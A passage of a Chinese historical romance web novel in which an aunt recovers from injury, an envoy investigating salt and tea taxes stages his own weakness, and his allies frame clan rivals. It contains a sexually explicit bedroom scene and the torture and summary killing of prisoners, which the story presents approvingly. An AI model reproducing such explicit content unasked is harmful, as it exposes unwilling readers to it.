沈绎摆摆手: “这话倒不必如此说。” “当日我出宫,也不完全是因为你的事。” “况我身为你的师长,十多年的师生之谊,为你谋划出力,也是应当的。” “只是,你若回京城,想好了如何面对你父亲家人,还有……” 纪云瑟明白他说的意思,纪府的人倒不必担心什么,父亲见她好端端的被晏时锦带回,自然喜不自胜。 但是,晏国公府的人,恐怕不好应付。 虽然,晏时锦信誓旦旦会为她摆平一切,又整日念叨着他们已是夫妻。但毕竟没有成礼,她总要面对晏国公府那一大家子人异样的眼光。 沈绎见她拧眉不语,道: “你若是实在不想回去,或许……” 纪云瑟抬眸看向他: “不,夫子,我不能再逃了。” “况且,以您的医术,也不能浪费在乡野,您应当回宫去,定能一展拳脚。” 沈绎自是懂了她的意思,淡笑一声: “好,承你吉言。” 他站在檐廊的分岔口,看着少女翩然离去,渐行渐远,明白她已经不是当年那个在他面前爱哭鼻子的小姑娘了,她已经成长,聪慧有主见,不再需要庇护…… 他的庇护。 苏滢无碍,纪云瑟心情大好,却发现今日好像没有瞧见晏时锦的身影,想到他这两日为她费心谋划,出人出力,良心发现的少女问端茶过来的效猗: “他去哪儿了?” 效猗立刻便明白了自家姑娘说谁,忙回道: “姑爷一早就换了戍卫兵的衣裳出门了,说是今日有事,夜里让您先睡,不用等他安歇。” 纪云瑟: “……” ~ 城郊的幽静别苑内,身着常服的扬州知府孟良才在师爷的陪同下,踏上了一侧的卵石小径。 孟良才道: “大夫今日怎么说?” 师爷道: “禀大人,经过两位大夫几日的医治,钦差的伤势已有好转,但还缺一味伤药。” 孟良才面露诧异: “什么药?” “扬州城会没有?” 师爷道: “叫什么‘草乌’。” “据说,此药日常用得少,且有剧毒,需要特殊炮制后,方能少量用在伤口上。” “剧毒?” 孟良才眸光微动,却立刻恢复平静: “好好让他们配就是,万不可影响钦差在我这儿养伤。” 两人说话间已行至主屋檐廊下,门外的紫电和青霜躬身抱拳: “见过孟知府,世子尚在换药,请稍后片刻。” 孟良才客气应声,不多时就见屋内侍卫端了两盆血水出来,映着廊上的几盏烛火,能明显看出还有道道黑丝混杂其中。 血腥气传来,一向喜洁的孟良才不禁用袖口轻掩口鼻,咳嗽了几声。 郑、王两位大夫随即出来,恭恭敬敬地向孟良才行了一个礼,被师爷领着下去。 紫电向孟良才做了一个相请的手势,孟良才收了收宽摆衣袖,随二人进入屋内。 烛火昏暗,一男子半躺在厚重的被衾内,背着亮光能隐约瞧出他面色不佳,双目紧闭,十分虚弱。 孟良才躬身拱手: “下官孟良才见过钦差大人。” “下官担心大人的伤势,一直想来探望,却听闻大人伤重昏迷,焦心不已。” “幸好大人洪福齐天,醒转过来,实乃我扬州府衙之幸呐!” 晏时锦掀眸看了过去,微微颔首,嗓音无力: “有劳了。” 孟良才虽未见过这位声名在外的世子爷,但听说过他不少事迹,特别是在其奉陛下旨意下江南之后,多有留意他的行踪,自然对他有十分的了解。 见传说中武艺高强的京卫司指挥使如今这番奄奄一息的模样,不由得叹息一声的同时,也为夏氏捏了一把汗,若他真的死在了扬州的地界,陛下有没有可能放过自己这个扬州知府? 他带着几分心虚地开了口,面上却不显任何异样: “大人吩咐下官的事,下官已着力在办,只是……” “下官虽为扬州知府,但因江南盐茶道设府在此,下官实是人微言轻,许多事,恐怕……” 晏时锦似十分费力地瞧了一眼身旁的紫电,紫电会意,道: “孟大人过谦了,只要您尽心,何愁有办不了的事?” “道府那边,世子已经着人招呼过,您尽管放心大胆地去查,断没有人敢置喙什么!” 这是又给他上一道眼药呐!孟良才抻着袖口擦了擦额头上的汗,道: “是,下官明白!” 不过,他也是混迹官场多年的老人,应付场面的话随口就来,他将扬州的盐商和茶商的经营避重就轻地说了一番,紫电正要替自家主子开口指其要害之处,却听得有衙役在外求见,声音有十足的慌乱。 孟良才皱了皱眉,告了个罪,道: “下官去看看有何急事。” 紫电客气地做了一个请便的手势,孟良才躬身出去,片刻后返回,神色惊慌失措: “禀指挥使大人……” “不好了,为您回京送信的驿使在半道被…被强盗所杀,身上财务洗劫一空!” 躺在床榻上 的晏时锦忽的睁开了眼,一时情急,竟挣扎着要起身: “什…什么?” 紫电忙上前相扶,劝慰道: “世子莫急,属下去查个清楚!” 说罢,一把拉起跪在地上的孟良才,快步离开。 烛影晃动,青霜从宽阔的拔步床后走出,床榻上的高硕男子随即掀开厚重的被衾,起身问道: “暗卫还有几日到京城?” 青霜道: “算起来,应该还有三日。” 晏时锦眸光中闪过一丝狠戾: “看着孟良才,咱们送到他手里的利刃,要让他好好地用起来!” 青霜应声,随即将一封密报呈上: “世子,这是京城的百里加急。” 晏时锦接过打开,看过之后,随手将信一卷,置于烛火上点燃,向青霜道: “皇后有孕,且是皇子无疑。” 青霜道: “世子您是打算……” 晏时锦负手而立,略思一瞬道: “传信让谢绩密切注意长春宫的动静,还要立刻着人盯紧江南四州的织染局。” “从今日起,供入后宫的所有织料,从纺采至刺绣、成衣,每道工序的经手之人都需记录留名。” 对付夏氏一族,到了真正的收尾之时。 青霜领命而去,不多时,一道颀长的身影步出屋外,悄然隐入夜色之中。 ~ 苏宅内灯火通明,苏滢的屋子里终于有了久违的热闹。 纪云瑟第一时间坐在床榻旁拥住了她,泣声道: “姨母,您终于醒来了!” 苏滢抚着被她一时激动晃得晕沉的脑袋,拍了拍她的背,道: “傻瓜,多大了还哭鼻子!” 纪云瑟抱紧她不放: “我都要被您吓死了!” 直到苏滢“嘶”了一声,纪云瑟才慌忙松开手,关切道: “姨母,您还有哪儿不舒服么?” 苏滢无奈捏了捏她的小脸: “被你抱晕了!” 纪云瑟破涕为笑,拿着绢帕擦去眼泪。苏滢难得露出一抹慈爱的笑意,摸着她的脑袋,道: “这几日,你辛苦了。” 她刚醒时就迫不及待地先问了堆金这几日可有什么事发生,以她对苏家那几个草包的了解,他们不可能会放过她受伤的机会,弄出一些幺蛾子。 果然不出所料,不过,她没想到自己的小外甥女处理这些事倒颇有手段。 纪云瑟为她掖了掖被角: “姨母您安心养几日,这些事交给我好了。” 苏滢并未多言,弯唇点头: “好。” 沈绎亲自端了药碗过来,道: “二小姐,该喝药了。” 纪云瑟起身,微微福了一福: “夫子辛苦了,多亏有您,姨母才能顺利醒来。” 修长白皙的指节稳稳地端着药碗递来,伴随着袖口淡淡的药香,是她一醒来就闻到的颇为熟悉的气息,苏滢伸手接过,一饮而尽,颔首道: “正是呢,多谢沈先生救命之恩。” 她抚着额上的纱布,抬眸看向他清敛的眉目,沈绎垂下眼睫,温声道: “二小姐客气了!” 一旁的积玉瞪大了眼睛,她从未见过自家小姐喝药如此干脆利落,眼睛都不眨一下。 见苏滢一直扶着头,沈绎道: “你久睡,头有些不适是正常的,过几日会好。” 苏滢弯眉一笑: “那要劳烦先生继续为我费心了。” 沈绎应声离开,纪云瑟叮嘱了积玉好好照顾苏滢后,也跟着出来,小跑着追上了他。 “夫子!” 纪云瑟气喘吁吁地行至他面前,在一处复廊中,沈绎停下脚步,见她深呼吸了几口气后,还是一副欲言又止的模样,诧异道: “怎么了?” 纪云瑟轻咳了两声,想了想,终是摒去了别扭,问道: “夫子您替我姨母诊脉,不知她身子情况如何?” 见沈绎面露几分疑惑,纪云瑟蹙着眉头,咬了咬唇: “就是……” “就是,她……” 沈绎见这小姑娘含着几分羞怯,再联想这些时日苏氏的事,他虽未刻意打听,但也猜到了几分,便知晓她问的是什么,笑道: “你是想问二小姐的生育方面?” 纵使沈绎是她自幼尊敬的师长,又是个大夫,但纪云瑟自觉一个女子在男子面前提及这种事,还是瞬间温热爬上了脸颊,不好意思地点点头。 沈绎身为医者,自不会有这些忌讳,直言道: “你放心,二小姐年岁不大,不过是因常年的劳累奔波和过度思虑,有些气血受损而已,可正常生育。” 纪云瑟大大舒了一口气,如今外祖这一房只剩下姨母和她两个后人,解决这些腌臜事最好的法子自然就是姨母自己生个孩子,虽然,她肯不肯还要另说。 沈绎略思一瞬又认真道: “不过,为了日后能顺利怀胎和平安生产着想,最好是能够吃药调理一段时日,保证有充足的气血给腹中胎儿提供养分,对母体和孩子都好。” 纪云瑟道: “若是怀孕了,有什么要注意的么?” 沈绎道: “只要是正常健康体质的女子有孕,都不需要额外注意什么,正常饮食,适量活动即可,太过小心谨慎,顾虑太多,反而不利于养胎。” 纪云瑟放下些心来,以姨母那个操心的性子,怀孕了也定是坐不住的,生意上的事不可能丢开,若是如此,倒能让她无后顾之忧,说服她同意多了两分理由。 她又想到了什么,靠近了沈绎一步,悄声道: “不知,夫子可有什么秘方?” “就是……” “那个……” 沈绎看她一眼,挑了挑眉: “你是想一举得男?” 纪云瑟赶紧点点头,沈绎露出一丝无奈的笑意,正要开口,却见一个人影从身后的转角处窜出,直接行至二人中间。 阴影慢慢覆了过来,廊下宫灯的微光映在高挺男子险峭的侧颜上,纪云瑟愣了愣,道: “你…什么时候回来的?” 晏时锦看了一眼目光微闪,滑过一丝羞窘的少女,淡然道: “刚到。” 他的目光在两人脸上来回扫视一圈,随即握住了少女的手,道: “卿卿和沈太医,有事要谈?” “……” 纪云瑟眨了眨眼: “已经说完了。” “…姨母刚醒,我就是…问问夫子,她日后要注意些什么。” 沈绎目光掠过神色不明的男子,正要告辞离开,却听晏时锦道: “沈太医留步,我有事与你相商。” 见纪云瑟蹰步不走,略带几分紧张地看着沈绎,晏时锦淡然拥住她,俯身在她耳畔,道: “不用太久,我很快过来陪你。” 纪云瑟: “……” 她回房沐浴后径直钻入了帐帘内,待听见了崇陶轻唤“姑爷回来了。”的声音,方小心将话本藏在被褥下,躺下睡觉。 感觉到帐帘被掀开一个角,有亮光一闪而过后,湢室很快传来哗啦的水声。 纪云瑟侧身朝里,放缓了呼吸。 被衾掀开,有温热向她靠近,随即颈下穿过一只手臂,轻轻一捞,少女整个人滚入了结实的臂弯中。 男子触了触她轻颤的眼睫,纪云瑟依旧纹丝不动,晏时锦有几分不信: “真睡着了?” 温热的气息在耳畔起伏,他衔住了少女的耳珠儿,指节摸索着伸入轻薄丝滑的绸缎中,一路摩挲探巡,轻而易举地占领了高地。 一阵震颤传遍全身,少女忍不住娇喘着推开他,晏时锦及时搂住: “今日收到了什么好消息?” “不该好好谢我么?” 纪云瑟轻哧一声背过身去: “我说过那些事我会派人做,你非不肯,要亲自来,与我何干?” 男子轻轻捏了捏她: “忘恩负义!” “你…做什么!” 鸡皮疙瘩窜遍全身,纪云瑟想去推开他的手,却被抱得更紧: “你不主动报恩,我便只有挟恩图报……” 他的声音蒙了一层薄雾,温热的吐息一同缠绕了过来,落在 她的耳后,有无数轻软的羽毛,飘然而落,拂过冰凉丝滑的乌发。 突然,这几日萦绕在纪云瑟脑海里的那个念头闪了出来,苏滢早就要她这么做,但她那时并不想把自己轻易交付给不喜欢的人。这段时日的相处,她一点儿都不排斥这厮,何必舍近求远? 纪云瑟一咬牙,转过身子面对他,抬手试探性的放在他的侧腰上。 绵柔洁白的云团顷刻间将巍峨的山峦环绕,云团缓缓飘落,化入缠绵的流水中。 男子很快察觉到异样: 她今日过于主动了。 平日里,他们的亲近,这姑娘都是带着些许抗拒和拘谨。 多半是在他极尽手段之下,娇花才会绽放。 可是今日,她主动搂住了他的脖颈。 晏时锦强行拉回几近崩溃的理智,重新吻上了少女嫣红的唇瓣,喉间翻滚着发出低哑的嗓音: “今天去了哪里,做了什么?” 纪云瑟在混沌之中“嗯?”了一声,不明白这种时候,他怎么会问出什么正经的话。 “一直在家。” “没有…做什么。” 他着实不信,轻啄了一口她的下颌,温唇下移: “撒谎…也是要受罚的!” 一道一道的涟漪由远及近,纪云瑟不接他的话,转而问道: “姨母醒了,咱们下一步要做什么?” 唇瓣远去,男子观察着她的神情,动一动,停一停: “你不用操心这些,我自会办妥。” 少女去拨开他的手,带着气音: “你不是说了会教我?让我来安排?” 男子继续亲了上去,灼热的吐气擦着柔腻的肌肤息息滚落: “但我还是担心……” 纪云瑟阻止了他的唇瓣,重新向下滚入他的怀中,杏眸潋滟: “不要总怀疑我嘛!” “你不信我,也要信你自己呀!” 她主动吻上了他,舌尖颤动着轻舔他的下唇。 男子瞬间僵住,绷紧的山峦似被柔腻的白云固封,动弹不得,凝脂般的雪白轻而易举地循到了雄伟壮阔的峰嶂中,微凉裹着炽热。 “只是这样,你很不舒服吧?” 第90章 夜色沉寂,屋内的冰鉴散发着阵阵清凉,却无法驱散帐帘内的温热旖旎。 不擅丹青的指尖一寸一寸描绘出完美的肌肉线条,结实、紧致,描摹在透明紧贴的素白丝绢上,渗出细细密密的汗珠,发烫、微颤。 腻白小手轻柔舒缓,染上褶皱的丝绢滑落脚踏。 极致的欲糅杂在一处,晏时锦如同一个被一击即溃的败将,再也说不出一句话。 眸光中的不甘一闪而过,他猛然起身,拂开她的手,一掌制住她的手腕扣在她的头顶,将她整个人压在身下。 纪云瑟只觉整颗脑袋突然跌进了软枕中,眼前一晃,阴影笼罩下来,她被重新吻住了双唇。 从未有过的猛烈来袭,他的吻前所未有的厚重,惩罚般的带来一阵狂风骤雨。 被深吻入侵的少女没有了从前的排斥怨恼,她轻柔地探出舌尖,勾着肆意掠夺的侵略者回归了自己的领地,在对方的阵营里继续厮缠。 男子被少女的意外反击惊得睁开了眼,含着水光的眼尾,有一抹嫣红甩入视线中,透着摄人心魂的妖冶。 轻薄的寝衣愈发凌乱,纪云瑟察觉到了他的目光,挣脱开的一只手向下一勾,柔滑坠落。 男子漆黑的眼底闪入一片雪瓷,柔白晃眼,他眼眶灼热,卷起的燥意从四面八方汹涌来袭。 少女并未打算轻易放过他,在他尚在按兵观望之时,先一步贴上了唇瓣,做了原本他想做的事。 胸膛好似有两团火在烧,晏时锦忍不住把怀中的人儿推开,以牙还牙变本加厉地还了回去。 纪云瑟不再留恋这个次要战场,柔腻微凉包裹一矗炽热,如同一个热心的引路人,领着前往它最想探索的幽境。 男子的身体明显僵住,在明白她想做什么时,突然撤离,却不料少女立刻追过来,低头看了一眼,轻语嘤咛: “它看起来很喜欢那里。” 晏时锦: “……” 就在他霎时头脑空白,不知如何接话之时,纪云瑟跨坐了上来。 “别委屈自己。” “总这样,会憋坏的。” 晏时锦不知何时,二人的地位发生了逆转,他竟然丧失了主动权。 在一片怔然的混乱中,暴雨中的渡口,迎来了第一艘入驻停靠的船儿,初次航行抵岸的大船不会把握方向,总是无法找对位置,两个水手生涩地控制着船舵,步步靠近。 男子犹如绷紧的琴弦,在即将断裂的前一刻,突然清醒了过来。 不行! 如今不是最好的时机! 他们没有正式成礼,她不能那么快有孕! 少女倏然被抱着换了位置,她仰头看着他,目露不解,但来不及发问,已经被重新掌握了主动权的男子推入了熟悉的温柔陷阱中。 最终,还是两只嫩白的柔荑遭了罪。 到了此刻,纪云瑟有些后悔白招惹了他一场,她的手累得几近痉挛,可它就是强硬不肯服软。 男子吻住她肿胀的唇: “该叫我什么?” 纪云瑟强忍手臂的酸痛: “冤家!” “你当真是我的冤家!” 月华如霜,点点落入帐帘内,缱绻遐思久久不散。 苏滢第二日已经可以下床走动,她从来不是娇气的性子,从前就算是偶尔生病,也就是随意用些药,多睡一会儿就熬过去。 这回她昏迷了好几日,心知有不少事等着她去做,便要换了衣裳出门去。 纪云瑟自是不放心,盯着要她趁机好好休养,与堆金、积玉两个好说歹说地劝着。 堆金和积玉从前并不敢置喙她一句,但这次也狠下心,强行将自家主子按坐在床上,苏滢心中无奈,脸色已经阴云密布,非常不好看。 她掌管苏氏产业多年,早已养成说一不二的习惯,只有她发号施令的份儿,怎会屈从于他人的摆布? 却碰巧沈绎送药过来,门被叩响后,浅衫男子阔步进来,这位当家女主人蹙紧的蛾眉瞬间松开,换上一抹客气的笑意,道了声谢后,一口喝下药。 沈绎并未察觉屋内残余的紧张气氛,将小软枕取来放在床榻旁,道: “二小姐,我再看看你的脉象。” 苏滢将手搁了上去,垂眸看着他修长如翠竹般的指节切在她的手腕上,有温热随着力道渗入肌肤,目光随即看向他隽润的侧脸: “沈先生,我没事了吧?” 还未等沈绎开口,纪云瑟先一步问道: “夫子,姨母她昏迷这么久,是不是应该多休息?” 沈绎读懂了小姑娘的眼神,但也是实话实说道: “二小姐头部淤血虽已除,但眼下还不适于劳累,确宜多休息。” “养精蓄锐,也算是欲善其事,先利其器。” 他收起软枕,听苏滢平静地应了一声“好”,便向她礼貌颔首,正欲立开,又被她叫住,问道: “我还需做什么治疗么?” 沈绎顿了顿,见她的目光看向一旁的针囊,便明白了其意,多数人都不愿意针灸,看着吓人,也的确不好受,他淡笑一声: “二小姐放心,淤血已除,不需要行针了。” “再服两日的药即可。” 积玉还以为自家小姐会松一口气,却忽的在她眼眸中看到一丝失落之色,正有些疑窦,又见她客气道: “有劳沈先生,再为我费心些时日。” 纪云瑟也说了几句感谢之语,送了沈绎出去后,回来向苏滢道: “沈夫子的话,您总该听吧?” 苏滢淡笑一声,拧了拧她的小脸: “好,我再休息两日就是!” 堆金和积玉对望了一眼,颇有种日头打西边出来的震惊,从前别说是大夫,就连在生意场上能拿捏他们的大买家,也不见得这位二小姐会把人的话当回事的,就算是面上似听进去了,背后也是阳奉阴违的不屑一顾。 真是奇了。 苏滢虽答应了好好养病,却也实在不放心手头上的事,堆金正准备将苏氏的一些近况拣重要的告诉她,纪云瑟先行一步将江州曾氏布庄的事说了一遍。 苏滢已从江州管家那边得知了消息,别的没提,只笑道: “你别说,那位国公世子,倒是对你很是情深意重呐!” “若是你真的想好了跟他回京城,我也不拦你。” 纪云瑟摇着她的手臂,不好意思地嗔了一句: “姨母……” 堆金见状,也在一旁笑道: “奴婢也瞧着,小姑爷是真心疼小小姐的。” “这几日小姐昏迷着,对付四房 、五房和二老太爷那边,都是小姑爷在费心。” 说着,将晏时锦的出谋划策和干脆利落的行动与自家小姐细细说了一通。 苏滢挑了挑眉,先问道: “相貌如何?” 纪云瑟: “……” 堆金和积玉一致赞道: “那自是把咱们府上的人都比下去了!” 苏滢遴选侍卫最重要的一条标准就是样貌要好,身高至少八尺,宽肩蜂腰,能比过他们苏府所有的人,这个评价已是极高。 苏滢知道就算有些夸张,但也八九不离十,不禁点点头,拍了拍靠在她肩膀上的小姑娘,道: “有样貌,又有家世背景,心里还有你。” “瑟瑟,你不亏!” “赶紧给我生个小外孙出来!” “咱们什么烦恼都解决了!” 纪云瑟一愣,想起昨晚自己的这番如意算盘打翻了,讪笑一声: “姨母您自个儿生个娃娃才是正经!” “我生的,总归是名不正言不顺,如何担下苏氏日后的重任?” 苏滢倒是出乎意料的没有立即反驳拒绝,挑了挑眉,道: “你生你的,我生我的,日后分担着接管苏氏,人多才好办事。岂可辜负爹爹和我辛辛苦苦拓下的这番基业?” 堆金和积玉对视了一眼,不禁感叹自家小姐此番受伤也是因祸得福,终于想通,决定怀孕生子了! 几人调笑了一番,苏滢突然想起了之前一直忙碌的事,问道: “对了,可有再去盐茶道府问一问,咱们的牙帖何时能下来?” 堆金道: “奴婢正要跟姑娘说呢!” “幸好,咱们的牙帖一直因江州的文书不全而没有办下来。” “前些时日,江州就查了好几家盐商和茶商,这两日,扬州也有几家盐商被知府大人找去了问话。” “据奴婢打探到的消息,恐怕也是凶多吉少。” 苏滢一阵诧异: “是何缘故?” 堆金放低了声量,道: “奴婢打听了许久,才问清楚,是京城来的秘密钦差,奉陛下旨意彻查江南四州的盐茶税,其中还涉及一些不法的生意,估摸着所有的盐商和茶商都有所波及。” 盐商自古就与各级官员脱不了干系,苏滢铤而走险迈出这一步也是因为盐茶生意十分暴利。 堆金瞅着自家小姐的脸色,劝道: “姑娘,奴婢觉得,咱们如今还是暂时不要涉及为妙。” 苏滢明白过来,问道: “那咱们送到道府的申请文书呢?” 堆金道: “前日,奴婢私自做主,已经拿回来了。” “道府那边,奴婢也打点过,钦差不会查到咱们头上。” 苏滢微松一口气,道: “不做也罢。” “盐茶生意,自古是三分靠晒盐,七分靠跪着数钱。” “先把咱们手头上的生意做踏实了!” 她经历了这一遭,如渡了一次死劫,许多事都看开了,生意也并非是做得愈大愈好。 一旁的纪云瑟在听到她们说什么牙帖,什么钦差,和查处了一帮盐商、茶商时,已经呆愣住,再听不到几人还说了什么话,只觉得耳畔有些嗡嗡的声音。 半晌,她才怔怔地问堆金: “你的意思是,咱们的牙帖办不下来,是好事?” 苏滢吩咐了堆金去办事,见这小姑娘一副求知若渴的模样,耐心地给她解释了一番: “盐税、茶税自古就是上缴国库税的大头,既是重中之重,官府自然重视,故而想要成为盐商,需要从下到上的一路打点。” “办牙帖只是第一步,日后还要办盐引,动辄恐怕就要数万两银子砸进去。” “就算做了盐商,也并非高枕无忧,恐怕,随时都有可能因利益分割不均,惹上祸事。” 她揉着太阳穴,仔细思索了一番,道: “罢了,此事容后再说。” 如今既有查盐税的苗头,她更不能碰这个了,毕竟但凡是盐商,一查一个准,没有干净的。 苏滢见纪云瑟愣了神,拍了拍她,笑道: “你愿意回京城也好。” “说实话,当日放弃了京城的那些铺子,我倒是十分舍不得呢!” “如今你若要回去,咱们能在京城那个遍地富人之地东山再起,也是件好事。” “到时,你照管着京城的生意,我守着扬州的旧产也够了,就不必我东奔西跑的。” 纪云瑟心情颇有几分复杂地点点头,一时无言。 又有田管事过来禀报: “二小姐,原本说好,今日过来探望您的四房和二老太爷那边的二房、三房的几位小少爷,都来不了了。” 苏滢略有几分诧异: “是何缘故?” 田管事看了一眼纪云瑟,露出一抹笑意: “昨日,四房的老大在赌坊闹事被戍卫营的官爷抓了。” “至于二老太爷那边,他家长孙如今被府衙传唤,涉入两年前的一桩人命案中,已查实了部分证据,被羁押在号房,恐暂时无法脱身。” 苏滢对此稍有所耳闻,那位纨绔子以好色闻名,前几年看中了自家田庄里一个佃户的媳妇,给了几两碎银就想强抢过来,却不料抢人时推搡拉拽,把佃户的老父亲推倒身亡。 那佃户是在籍的农户,并不是他家的私奴,故而此事最后花了许多银两给那家人封口,赔了夫人又折兵,还上下打点了府衙,才揭过去,如今旧事重提,多半是…… 苏滢若有所思地看向了纪云瑟,那位世子爷做事的确狠! 从前,她的心思都放在了生意上,虽也被那些人所扰,但多少顾及大家同宗,只要不是太过分,她并未与他们计较太多,才导致那几房变本加厉,竟然敢做出要她性命的事来! 苏滢不禁感叹,古语说:攘外必先安内,果真是有道理的。 若不是正好纪云瑟一行人及时赶到,她多年的打拼,岂不是给那起子草包做了嫁衣裳? 田管事继续道: “如今,已有宗族的几位长辈私下商议,说是二老太爷御下不严,养出这等败类,该退出族长之位,以正家风。” 苏滢冷笑一声: “五房呢?怎么说?” 田管事道: “五老爷…恐怕如今也顾不上这些事了。” “他家……” “罢了罢了,我不想听!” 苏滢摆了摆手,那些腌臜事听得她着实头疼,商海中的尔虞我诈她都能轻松应对,却最烦处理这些宅院内的琐碎俗事,这也是她这么多年喜欢往外跑的缘故。 她吩咐田管事: “这几日看好大门,无关人等一概不许放进来!” “对外,就说我刚醒,身子虚弱,谁都不见!” 田管事答应着,退出时却悄悄看了纪云瑟一眼。纪云瑟明白了几分,向苏滢道: “姨母您刚醒来,别操心太多,好生休息。” 说罢,叮嘱了积玉几句后,步出房外,追上了特意等着她的田管事。 田管事讪讪笑了两声,纪云瑟看他露出被震慑到的神情,猜到了几分: “除了刚才你说的那些事,是不是还有什么别的?” 田管事面色有些复杂地点点头,向纪云瑟又详细说了一番,晏时锦已经将苏氏各房 往前推十多年的破落事全部抖露了一番,那等实在翻不起波浪的,也对症下药,精准地寻了他们的弱点,现诱现用,落实了个罪名过去。 短短两日的功夫,各房要么损兵折将,要么破财挡灾,是哀声一片,苦不堪言。 他在苏宅多年,跟着苏老爷和二小姐,皆是本分的生意人,偶尔耍滑卖奸,也是在生意场上使些不关痛痒的小手段,倒是真没见识过小姑爷的那些狠招。 他心里有些打鼓: “老奴自然知晓,那都是他们罪有应得,但是……” “这么做,若是来日被发现了端倪,他们恐怕不会甘休!” 苏氏在扬州盘根数百年,各房发展到如今都不是等闲之辈,说来说去,就是他们长房人脉凋零,就剩下苏滢姨甥两个弱女子。 这位老管事担心,他们长房有一日会被秋后算账。 纪云瑟明白了他的意思,说到底,还是这些年,苏滢对于那些所谓的家人太过仁慈,但她也清楚,姨母一介女流,没有根基靠山,能走到今日有多难,有时不是不想动他们,而是,一旦动了,很难善后! 她宽慰了田管事几句,让他不必焦虑后,径直回自己小院,却不料刚步出月洞门,就碰见来寻她的效猗,一脸焦急地走过来,附在她耳畔小声道: “姑娘,姑爷刚回来。” “……他身上都是血迹。” 纪云瑟眉心一跳: “他又受伤了?” 效猗实话道: “奴婢不知。” “姑爷叫了水,吩咐奴婢们下去。” 昨晚她沐浴出来时,晏时锦就消失不见,她知他有许多公务在身,并未在意。 纪云瑟脚步快了几分,若说前些时日,她听说这厮受伤,或许还会有些幸灾乐祸,但来了扬州之后,又经历这许多事…… 此刻,她的心情却有几分复杂。 苏宅很大,穿过了几道复廊,和一处花园水榭,行至她所居的小院时,纪云瑟已经气喘吁吁。 崇陶刚吩咐了几个小厮抬水换水,纪云瑟看了一眼抬出来水中有淡淡的鲜红,匆忙推门而入。 湢室传来哗啦的水声,珠帘掀起一个人影,少女径直入内,就见男子背对着,站在木桶中央。 她没想太多,绕了过去: “你伤哪儿了?” 晏时锦拿着木勺的手顿住,眼睁睁看着她过来上下打量自己。 除了左肩处的暗器旧伤,他的身上并没有其他的伤痕,纪云瑟微不可察地松了口气,直到他整个人站立不动,只有一处在悄然发生变化时,她方察觉自己冒失了。 晏时锦: “…我没事…” “你…” 话未说完,纪云瑟已经逃离了现场。 晏时锦冲了好几桶水才洗净身上的血腥之气,他罩上一件素白中衣,披散着乌黑长发,绕过紫檀屏风出来。 见纪云瑟尚未换衣裳,坐在窗台下的罗汉床上,问道: “还不睡么?” 纪云瑟侧头在小几上斟了一杯茶,往他的方向推了推,道: “不急,你坐下,我有事想要问问你。” 晏时锦坐在罗汉床的另一侧,将杯中茶饮尽,似早有预料,却面色平静地问道: “何事?” 他身上似犹带着鲜血的气息,纪云瑟皱了皱眉,用帕子捂着口鼻,也不拐弯抹角,直言道: “你来扬州,是查盐茶税的?” “除了这个,还有什么?” 晏时锦见她如此,抻着袖口闻了闻,道: “已经洗的很干净了,没什么味。” 见血对他来说是常事,但他素来喜洁,每次都是第一时间冲洗干净, “若是你厌恶这味道,我日后再多注意些,尽量不沾染。” 他说得轻松,明显是避重就轻地不想回答,纪云瑟看着他,幽幽道: “算了,我不是想打听你的秘密公务,但你总得告诉我,对付苏氏那起子人,你还有什么打算。” 她听了田管事报过来的事,除了心惊之外,还有几分莫名的不安。 晏时锦往她空出来的杯盏里斟满了茶,道: “我以为,你会先问我,关于那两张牙帖的事。” 见她端过茶盏,双手捧着送到唇边半晌不言语,晏时锦挑了挑眉: “从前不与你言明,自然是因你们苏氏卷入其中,我不能在明面上偏私。” “如今,查盐茶税一事在扬州和江州已不算秘密,你既知晓了,我就不再瞒你。” “想必你姨母听到这些消息,会自动放弃盐茶生意,这也是我这么做的目的。” 纪云瑟已将茶水饮尽,一手托着腮,一手捏着茶盏上的青瓷纹,幽幽道: “盐茶生意就罢了,但是对付其他几房的事,你做得如此狠的其他目的又是什么呢?” 90-100 第91章 就在昨夜子时,扬州城郊的别苑内,发生了一场激战,数十名黑衣人从天而降,攻入有戍卫营把守的主屋,同时,还有神箭手埋伏在院墙外。 幸而扬州总兵韩烈恰好来探望受伤的钦差,所带的两百精兵将所有刺客悉数抓获。 紫电青霜几人当即将所擒之人连夜问审,整整一日过去,用遍了刑罚用具,最终伤痕累累的几个领头一致招供,幕后的主子是裕王赵檀。 因钦差查了几个与他有往来,每年提供孝敬的盐商,又损了他在江南的几名敛财干将,故而起了杀心。 晏时锦看着他们交出的尚染着血迹的赵檀“亲笔”手书的追杀令,差点笑出了声。 如此拙劣的造假,竟然敢拿到他的面前? 他下令将原本分别审问的五人全部带到戍卫营的一间刑房,各自锁在相对而置的十字绞架上,几人虽已受刑,但目中皆是不屈之色。 晏时锦没有废话,行至交出追杀令的那人面前,手起剑落,那人的颈部开始往外飙血,溅满他深色的戍卫服。 其他几人瞠目,紫电给他搬来一把圈椅,晏时锦收剑入鞘,坐下道: “说谎之人我已经惩罚。” “但下一个再说谎,就不可能死那么快了!” 两盏茶后,刑房的门重新打开,阴霾血腥随着步出的高直身影向外弥漫。 紫电道: “世子,供状是否立刻送往京城?” 晏时锦颔首: “嘱咐韩烈,混在明日的军报中,一同上路!” 《百官述》算来最晚明日就能出现在永安帝的龙案上,他们此番下江南的所有目的均已达到,他在扬州便可以公开露面了。 赤霄也来回禀: “世子,苏氏各房的事,属下已经全部安排妥当。” “如今,他们自顾不暇,无人再提起大房选嗣一事。” “等苏二小姐康复后,苏氏宗族会重开宗祠,商议选出新任的族长,人选确保是在剩下的,与大房无利益纠葛的几家中。” 晏时锦侧眸: “可有留下痕迹?” 赤霄有些诧异地凛了凛: “没有,属下保证不会连累夫人和苏二小姐。” 他们几个均是训练有素的直卫,处理这些小事,怎么可能会留下什么痕迹? 晏时锦蹙眉: “不留下些东西让几房有迹可循是谁的手笔,怎会让他们有所忌惮?” 赤霄愣了一瞬,随即了然,抱拳 道: “是,属下这就去办!” ~ 透着熹微月色入窗棂的屋内寂静,男女在罗汉床上相对而坐,一时静谧无言,只听闻不远处案桌上的一盏灯花燃爆的细微响声。 纪云瑟目光斜斜扫来,看不清杏眸凝着的是什么神色,耐心地等他的回答。 晏时锦又替她斟了一杯茶,微微叹气后,唇角微勾: “就是你想的那个目的。” 纪云瑟愣住,他还真是…… 哪怕编一点谎话骗一骗她也好啊! 那日问他如何瓦解各房,解决姨母当前的危机,他只说“离间计”,便放心地交与了他去做。却不料,让四房和五房不和只是表面,实际上他的手段狠辣得根本超出了纪云瑟的想象。 她不是不知道那些人是咎由自取。可是,姨母那么多年听之任之,并未采用非常手段反击,是姨母不知道他们的软肋么? 